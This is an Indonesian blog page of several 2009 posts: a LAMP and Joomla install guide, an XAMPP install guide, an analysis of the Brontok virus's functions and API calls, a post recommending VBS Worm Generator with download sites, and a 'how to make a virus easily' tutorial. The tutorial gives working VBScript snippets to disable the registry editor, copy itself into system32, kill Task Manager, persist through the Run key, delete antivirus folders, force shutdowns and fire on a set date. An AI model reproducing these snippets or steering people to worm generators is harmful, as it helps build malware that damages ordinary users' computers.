readbud - get paid to read and rate articles

Minggu, 27 Desember 2009

Install Web Server dan Joomla pada Ubuntu 8.10

Web Server

Web Server merupakan perangkat lunak yang bertugas melayani permintaan halaman Web. Web Server merupakan salah satu perangkat lunak yang sering dijadikan alasan pemakaian Linux

Dalam membangun webserver pada ubuntu 8.10 yang perlu di install adalah sebagai berikut :

1. apache2
2. php5
3. mysql server
4. libapache2
5. mysql
6. php5-mysql
7. phpmyadmin

cara install

dalam ubuntu anda masuk pada terminal cek terlebih dahulu repository apakah sudah terarah dengan benar atau belum

cat /etc/apt/source.list

jika sudah benar silahkan cek dulu dengan mengetikan perintah

apt-get update

jika complite saatnya untuk menginstal paket yang disebutkan diatas ketikan perintah :

sudo apt-get install apache2 php5 mysql-server libapache2-mod-auth-mysql php5-mysql phpmyadmin

saat penginstalan yang perlu diperhatikan adalah password mysql jangan sampai lupa karena password mysql server itulah yang akan menghubungkan webserver dengan Joomla yang akan di install nantinya, path file directory webserver berada pada /var/www/

JIka install telah selesai dan tidak mempunyai problem selamat anda berhasil menginstall webserver

Joomla

Joomla adalah salah satu Content Management System (CMS) open source paling populer di dunia. Joomla terkenal akan kemudahan dalam pengelolaannya, tidak mengherankan jika saat ini Joomla memiliki user-based community terbesar di dunia untuk kategori CMS open source.

Download File Joomla

Download file joomla yang akan di install Download disni setelah di download silahkan di extrak dan lalukan copy file joomla ke direktori standart webserver yaitu /var/www/

catatan : sebelum mengcopy file ada baiknya jika anda berada pada Super User (root) dan buatlah direktori pada folder /var/www/nama_folder_web_anda agar file tidak berantakan dan mempermudah untuk control file website anda nantinya

Menyediakan Database Joomla

Untuk menginstall joomla membutuhkan nama database , masih ingat password mysql server yang pada install mysql server sebelumnya ?..nah jika masih ingat password itulah yang akan digunakan

sekarang saatnya membuat database untuk joomla dengan menggunakan PhpMyadmin cara itu bisa dibilang tergolong mudah dan praktis

Buka web browser anda dan masukan alamat http://localhost/phpmyadmin/ maka akan muncul tampilan seperti dibawah ini

3

masukan Username dan Password anda

username : root

password : (password mysql server yang anda masukan saat penginstallan mysql)

jika yakin username dan password sudah benar klik Go dan akan muncul halaman PhpMyadmin seperti dibawah ini

4

untuk membuat nama database masukan nama database anda pada form create database saya contoh kan nama databasenya webjoomla setelah memasukan nama database silahkan klik Create contoh seperti dibawah ini

5

jika berhasil membuat database sekarang masuk pada tahan Install joomla

Install Joomla ke ubuntu 8.10

pada tulisan webelumnya telah disebutkan untuk meletakan file website berada pada /var/www/ , berarti file website joomla akan di copykan ke direktory tersebut. sekarang saya akan membahas tahap install joomla

masuk ke web browser anda ketika alamat hostnya bisa berupa IP address atau Domain disini saya contohkan http://localhost/ akan muncul tampilan seperti dibawah ini

1

Pilihlah bahasa untuk Joomla jika tidak ada Indonesia pakai yang English saja setelah itu Klik Next pada kanan atas dan akan terbuka jendela berikutnya yaitu pengecekan komponen yang diperlukan untuk joomla dan jika sukses maka akan seperti gambar dibawah ini

2

Jika sudah benar Klik Next pada kanan atas..Lanjut kehalaman berikutnya ada Halaman dimana pemberi tahuan License Joomla kalau mau baca silahkan baca kalau malas baca silahkan tekan Next

pada halaman ini akan ada Bassic Setting masukan seperti ini :

Database Type : mysql
Hostname : localhost (disesuaikan dengan host)
Username : root (disesuaikan)
Password : **** (disesuaikan dengan password anda)
Database Name: webjoomla (disesuaikan)

6

jika sudah yakin klik Next untuk melanjutkan setup joomla.Akan muncul jendela untuk Konfigurasi FTP jika anda ingin menggunakan FTP maka gunakan FTP namun dalam tutorial ini saya tidak memilih FTP jadi saya pilih no dan lakukan Next untuk melanjutkan instal joomla

7

Setelah itu muncul Main Konfigurasi dimana ini merupakan hal yang penting untuk install joomla silahkan masukan

Site Name : Belajar Web (judulnya terserah anda)
Email : admin@webku.com
Password : ******* (password untuk website joomla)

lalu Klik Next untuk install joomla

catatan : untuk Load sample data, restore or migrate backed-up content pada tulisan ini saya tidak gunakan saya menggunakan cara default

setelah jendela baru terbuka akan muncul pesan
“Congratulations! Joomla! is now installed.”

8

Selamat anda berhasil menginstall Joomla..dengan

Username : admin
Password : Password anda saat Install Joomla

Langkah terakhir adalah menghapus Folder INSTALLATION pada root directory berada pada

/var/www/

anda bisa menghapus dengan menggunakan FTP atau MC pada ubuntu anda dan jika sudah dihapus silahkan coba pada web browser anda http://localhost/ jika halamanya terbuka selamat dan sukses untuk anda

silahkan lakukan Login admin pada link http://localhost/administrator/

Instalasi XAMPP pada Ubuntu 9.10

Halo pada posting kali ini saya akan menjelaskan cara menginstall Lampp pada Ubuntu 8.04. Lampp ini merupakan XAMPP versi Linux. Kamu juga dapat mendownload XAMPP versi Windows atau Mac OS di situs XAMPP.

Oke berikut ini merupakan langkah demi langkah menginstall XAMPP pada Linux Ubuntu 8.04.
  • Langkah yang pertama tentu saja kamu harus mendownload program XAMPP yang terdapat di situs XAMPP
  • Langkah kedua taruh file XAMPP pada root directory home kamu. Misalnya directory home saya adalah /home/indrabt/. jika file tersebut ditaruh pada home directory, maka path file tersebut akan menjadi /home/indrabt/xampp-linux-1.6.6.tar.gz
  • Masuk ke Ubuntu terminal. Caranya pilih Applications->Accessoris->Terminal seperti yang ditunjukkan pada gambar di bawah ini
  • Menu terminal Linux Ubuntu 8.04
  • Setelah itu ketikkan tar xvfz xampp-linux-1.6.6.tar.gz -C/opt pada Linux Terminal. Catatan : perhatikan huruf besar dan huruf kecil harus diketikkan apa adanya. Maksudnya apabila pada perintah diatas terdapat huruf besar, maka ketikkan huruf besar. Begitu pula sebaliknya. Karena pada Linux Terminal penulisan perintah menggunakan huruf besar dan huruf kecil dibedakan atau dengan kata lain case sensitive.
  • Perintah diatas akan mengekstrak file archieve xampp ke dalam directory /opt.
  • Setelah proses extract berhasil. Langkah berikutnya adalah melakukan start XAMPP web server dengan mengetikkan perintah sudo /opt/lampp/lampp start di Linux Terminal. Apabila perintah tersebut dijalankan maka terminal akan meminta password user administrator kamu. Kamu ketikkan password yang kamu masukkan pada waktu kamu menginstall Ubuntu.
  • Maka Linux terminal kamu akan mengeluarkan pesan sebagai berikut :

    • XAMPP : Starting Apache with SSL (and PHP5)…
    • XAMPP : Starting MySQL…
    • XAMPP : Starting ProFTPD…
    • XAMPP for Linux started


  • Pesan yang dimunculkan tersebut merupakan pesan bahwa XAMPP web server mulai berjalan pada kompie kamu. Catatan : setiap kali kamu melakukan restart, shut down, atau log out kamu harus melakukan start XAMPP web server dengan menggunakan perintah sudo /opt/lampp/lampp start seperti yang telah dijelaskan diatas.
  • Langkah berikutnya panggil web browser Firefox, dan pilih FIle->Work Offline untuk menghilangkan tanda centang yang terletak disebelah kiri tulisan Work Offline.
  • Langkah terakhir ketik localhost pada url address web browser. Maka firefox akan menampilkan gambar seperti dibawah ini
  • xampp web server yang sukses diinstall
Oke sekian saja posting kali ini. Selamat mencoba dan good luck

diambil dari http://www.kaplinglinux.com/instalasi-xampp-pada-ubuntu-804.html

Minggu, 20 Desember 2009

Source Code Virus Brontok

Dalam belakangan waktu ini mungkin anda pernah mendengar nama virus Brontok?......ya betul virus yang
menduplikatkan dirinya dan menyesuaikan nama virus barunya berdasarkan folder atau file pada window
epxlorer yang aktif. Ciri khas dari virus ini adalah menggunakan Icon folder, sehingga dapat mengecoh
seseorang yang melihatnya.

Mengapa membahas virus ini?,...hmm...m....sebetulnya saya tidak terlalu tertarik membahas ini, tau nggak apa
yang menyebabkan saya tertarik membahasnya?...pasti nggak tau kan .....ini disebabkan beberapa hari lalu
banyak kehebohan mengenai virus brontok dan sempat menginfeksi beberapa komputer teman2ku .

Ok untuk mempersingkat waktu kita langsung aja

Setelah dilihat struktur file dari virus tersebut ternyata pembuatan virusnya menggunakan visual basic 6.0
ops....ternyata made in vb coy....nah ini yang membuat tambah menarik.

Virus ini terdiri dari 1 form da 1 Module, dengan nama

Form -> BrontokForm

Module -> API

Dengan detail berikut:

Begin VB.Form BrontokForm

Caption = \"Brontok.A\"

ForeColor = &H8000000F&

ScaleMode = 1

BeginProperty Font

Name = \"\"

Size = 195323.4944

Charset = 29

Weight = 774

EndProperty

Begin VB.Timer TmrBrontok

Enabled = 0 \'False

Interval = 2000

Left = 2160

Top = 0

Width = 57352

Height = 1

End

End

Dengan nama Project: Brontok.vbp, yang disimpan pada directory:

F:\\VPROJECT\\REHAB\\Re-1\\BRONTOK.A

Jelas sekali bahwa virus ini dibuat oleh sorang program lokal, yang mempunyai skill Menengah Keatas.

Ada beberapa procedure & function yang digunakan dengan nama:

Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
TmrBrontok_Timer()

Subr_004()

CekKoneksiInternet()

ManipulasiExec()

Subr_007()

KeluarDong()

BronReg()

CopyAppData()

DownloadVir()

StartDong()

StartUp()

DecTeks()

MutMutex()

MutCr()

DownloadFile()

CekUpdate()

InfekNetwork()

Judul()

CekRemDisk()

BikinFile()

GetEmailFile()

CekValidMail()

GetTeks()

CekKar()

ListMail()

GetTargetMBhs()

GavMailer()

BrontokMail()

Subr_031()

DataEmail()

DownMIME()

FindFilesAPI()

ListFileGav()

InfekFile()

SmallAttack()

MinggirLoe()

GetHostByNameAlias()

StripNulls()

BikinKredit()

Dan beberapa fungsi Api yang digunakan anatara lain:

Fungsi Baca Tulis Ke Register:

Declare Function RegOpenKeyExA Lib \"advapi32.dll\" ()

Declare Function RegSetValueExA Lib \"advapi32.dll\" ()

Declare Function RegCloseKey Lib \"advapi32.dll\" ()

Declare Function RegCreateKeyExA Lib \"advapi32.dll\" ()

Declare Function Sleep Lib \"kernel32\" ()

Mendapatkan Spesial Folder:

Declare Function SHGetPathFromIDList Lib \"shell32.dll\" ()

Declare Function SHGetSpecialFolderLocation Lib \"shell32.dll\" ()

Membaca Isi Halaman Situs:

Declare Function InternetOpenA Lib \"wininet.dll\" ()
Declare Function InternetOpenUrlA Lib \"wininet.dll\" ()

Declare Function InternetReadFile Lib \"wininet.dll\" ()

Declare Function InternetCloseHandle Lib \"wininet.dll\" ()

Mendapatkan Caption Dari Sebuah Window:

Declare Function GetWindowTextA Lib \"user32\" ()

Declare Function GetWindowTextLengthA Lib \"user32\" ()

Dapatkan HWND Window aktif:

Declare Function GetForegroundWindow Lib \"user32\" ()

Shutdown, Reboot, LogOff Windows:

Declare Function ExitWindowsEx Lib \"user32\" ()

Declare Function GetCurrentProcess Lib \"kernel32\" ()

Declare Function OpenProcessToken Lib \"advapi32\" ()

Declare Function LookupPrivilegeValueA Lib \"advapi32\" ()

Declare Function AdjustTokenPrivileges Lib \"advapi32\" ()

Mendapatkan Jenis Media yang ada spt Removable Disk, CD-Rom dll:

Declare Function GetDriveTypeA Lib \"kernel32\" ()

Declare Function ShellExecuteA Lib \"shell32.dll\" ()

Declare Function RtlMoveMemory Lib \"kernel32\" ()

Winsock API:

Declare Function closesocket Lib \"wsock32.dll\" ()

Declare Function connect Lib \"wsock32.dll\" ()

Declare Function htons Lib \"wsock32.dll\" ()

Declare Function inet_addr Lib \"wsock32.dll\" ()

Declare Function recv Lib \"wsock32.dll\" ()

Declare Function send Lib \"wsock32.dll\" ()

Declare Function socket Lib \"wsock32.dll\" ()

Declare Function gethostbyname Lib \"wsock32.dll\" ()

Declare Function WSAStartup Lib \"wsock32.dll\" ()

Declare Function WSACleanup Lib \"wsock32.dll\" ()

Declare Function WSAAsyncSelect Lib \"wsock32.dll\" ()

Fungsi yang berhubungan dengan file:

Declare Function FindFirstFileA Lib \"kernel32\" ()

Declare Function FindNextFileA Lib \"kernel32\" ()

Declare Function GetFileAttributesA Lib \"kernel32\" ()

Declare Function FindClose Lib \"kernel32\" ()

dll...

Terlihat jelas pada fungsi-fungsi api yang digunakan bahwa penularan virus ini brontok menggunakan
beberapa cara. seperti pengiriman lewat email, pencarian nama komputer yang terhubung kejaringan dengan
menyalin dirinya pada folder yang di sharing dan menyalin dirinya pada window explorer yang aktif. kalo gak
salah si pembuat virus mempunyai SMTP sendiri (wah ati-ati mas ntar ketangkep)

Jika dilihat kembali pada strukturnya ada beberapa kata yang di encrypt, kemungkinan berupa exploit code
atau apalah namanya. hanya allah dan pembuat virus yang tau.

Virus ini mempunyai fungsi ExitWindowsEx yang diimport dari file user32.dll, fungsi ini biasanya digunakan
untuk mematikan windows.

kayaknya sipembuat virus membuat triger yang berisi perintah mematikan/merestart komputer.
Selain itu dalam struktur filenya terdapat kata-kata seperti ini:

FOLDER.HTT

RORO

.HTT

.DOC

.CSV

.EML

.CFM

.PHP

.WAB

.EML

.TXT

.HTML

.HTM

MY DATA SOURCES

MY EBOOKS

MY MUSIC

MY SHAPES

MY VIDEOS

MY DOCUMENT

Dan ada beberapa alamat situs yang diserang, apa DDOS ya...hik..hik..tau deh. Selain itu pembuat virus
mencantumkan nama: --JowoBot#VM Community --

Selanjutnya coba lihat tiga fungsi api berikut:

Declare Function GetWindowTextA Lib \"user32\" ()

Declare Function GetWindowTextLengthA Lib \"user32\" ()

Declare Function GetForegroundWindow Lib \"user32\" ()

Sepertinya pembuat virus memanfaatkan windowexplorer untuk memperbanyak filenya ke folder yang lain.
Dengan cara membaca Caption yang terdapat pada windows aktif yang berisi nama directory/path. Dengan
menggunakan 2 fungsi diatas (GetWindowTextA & GetWindowTextLengthA), Sedangkan fungsi
GetForegroundWindow digunakan untuk mendapatkan Handle Window (HWND) yang sedang aktif.

Jadi kesimpulannya virus ini tidak dapat menyalin dirinya kalo Caption pada windowExplorer bukan berupa
Directory/Path. Sehinga si pembuat virus menonaktifkan setting pada Folder Options.

Kemudian yang lebih unik lagi virus ini membaca isi halaman situs yang terbuka pada sebuah InternetExplorer
dengan menggunakan fungsi:

Declare Function InternetOpenA Lib \"wininet.dll\" ()

Declare Function InternetOpenUrlA Lib \"wininet.dll\" ()

Declare Function InternetReadFile Lib \"wininet.dll\" ()

Declare Function InternetCloseHandle Lib \"wininet.dll\" ()

Kalo saya tebak, sepertinya pembuat virus mencari alamat email pada halaman situs yang terbuka dan
mengirimkan virus nya berdasarkan alamat email yang ditemukan pada halaman tersebut dengan kata kunci
seperti mailto: ataupun @xxxx.com dll...

....Untuk membersihkannya silahkan baca selengkapnya di situs AntiVirus yang lain...he..he...maaf saya hanya
membahas yang ini saja.

Tapi kalo pengen menonaktifkan virus ini secara cepat, coba masuk safemode kemudian rename file
MSVBVM60.dll menjadi MSVBVM60.dl_

karena virus ini membutuhkan runtime vb. Nah kalo udah gak aktif baru kita bisa hapus beberapa registry entrydan file-file virus brontoknya.

Sayang sekali virus ini tidak menggunakan program compressor, sehingga memudahkan orang untuk
mengenalinya.

Semoga bermanfaat....

Selasa, 15 Desember 2009

Cara Gampang Bikin Virus
Oleh : Alzamora

Kamu pasti masih inget dengan virus worm yang sempat menghebohkan Tampilan awal program Vbs WGinternet beberapa waktu yang lalu : Anna Kournikova. Worm yang menginfeksi Windows beserta Outlook Exressnya, akan mengirim sendiri pesan virus ke seluruh email yang terdapat pada address book.
Sebenarnya untuk membuat worm semacam itu kamu tidak harus menjadi seorang programmer handal. Cukup bisa njalanin komputer dan punya softwarenya. Lalu apa softwarenya ? VBS Worm Generator !! Dengan program yang dibuat oleh hacker Argentina berusia 18 tahun itu kamu dapat membuat virus yang sama dahsyatnya dengan Anna Kournikova, cukup dengan melakukan beberapa klik.
Program VBSWG memungkinkan kamu untuk membuat worm dengan nama sesukamu. Kamu juga bisa memilih efek dari worm tersebut, seperti misalnya menampilkan pesan atau memaksa seseorang untuk menuju situs tertentu. Akibat yang paling parah tentunya jika worm tersebut kamu setting supaya membikin crash komputer.
Kemampuan lain dari VBSWG adalah melakukan enkripsi terhadap source code worm yang dibuat. Kemampuan lainnya bisa kamu coba sendiri :-) Pokoknya cukup hebatlah program ini.
Tapi seperti yang dikatakan oleh pembuatnya, VBS Worm Generator hanya boleh digunakan untuk belajar, bukan untuk merugikan orang lain. Untuk itu jika Anda memang berniat mencobanya, ingat-ingat peringatan tersebut.

Situs yg menyediakan VBSWG :
http://www.virii.com.ar,
http://www.kvirii.com.ar,
http://vx.netlux.org/dat/tv07.shtml.

Atau gunakan search engine http://www.google.com dan masukkan keyword vbswg2bfix.zip, Vbswg2B.zip, worm generator, dan keyword semacamnya

diambil dari http://www.klik-kanan.com/fokus/vbswm.shtml

Cara mudah bikin virus

Cara mudah bikin virus "versi 1"

Sebelumnya, berikut ini cara-cara paling gampang untuk membuat virus.
semua hal dibawah ini hanya sebagai penambah pengetahuan kita saja
dan tidak boleh disalah gunakan untuk hal-hal yang bersifat merusak.
Dan "Saya tidak bertanggung jawab jika terjadi hal-hal yg tdak diinginkan dg adanya postingan Saya Ini. Sekarang kita akan
membahas cara gampang membuat virus pake vbs file.

pertama, berikut ini hal-hal yang wajib kita siapin sebelum membuat virus adalah...


# seperangkat komputer berikut monitor, cpu, kibor, mouse, cat, rabbit, pig, eh..kq mlah jd kyak bonbin yaw?He.. (wajib)
# kita harus menyiapkan sebuah file yang ber-ekstensi vbs (*.vbs)
# secangkir teh anget. Tp klo blm buka puasa yaw jgn disiapin. OK...
# akan lebih afdoL kalo ditemenin lagu2nya scorpions n GnR (Q ngepans bngt t ma 2 band it)

Untuk eksekusi pertama, yang dilakukan virus biasanya mengubah registry.
Misalnya:

1. mendisable regedit. Yang kita tulis:
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide

sebenarnya banyak cara untuk mendisable regedit. misalnya kek gini:
CreateObject("WScript.Shell").regwriteHKEY_CURRENT_USERsoftware\microsoft\windows\currentversion\policies\systemdisableregistrytools", 1, "REG_DWORD"

2. mengopikan diri ke direktory lain

CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"
Ada juga cara lain dengan kode seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfile wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"
misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary

3.Membunuh proses.
digunakan untuk membunuh proses
(proses adalah program yang sedang berjalan)
misalnya kita akan membunuh proses taskmanager
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide

4.Menjalankan virus pada saat startup atau saat windows dihidupkan.
menggunakan regedit
On Error Resume Next
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus"
, "c:\windows\system32\virus.vbs"
(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)

5.Menghapus File / Folder
agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe" '(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)

6.Merestart Windows
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide
merestart windows dalam waktu 60 detik

7.Meng-ShutDown Windows
CreateObject("WScript.Shell").run "shutdown -s-f -t 60", vbhide
mematikan windows dalam waktu 60 detik :)yang beda cuman
"shutdown -s-f -t 60"
S = untuk shutdown dan
R = untuk reboot\restart

8. Mengaktifkan Virus Pada Waktu tertentu
If day(now) = 1 and month(now) = 1 and year(now) = 2009 then
'(masukkan kode virus disini)
End if
'misalnya kalo mau mengaktifkan pada tanggal 1, bulan 1
'dan tahun 2009

Ok. Pelajaran bikin virus untuk hari ini saya kira udah cukup.
Dan semoga bermanfaat :-)

Tapi ingat tulisan ini hanya utk skedar pngetahuan saja, dan jgn disalahgunakan.

Web hosting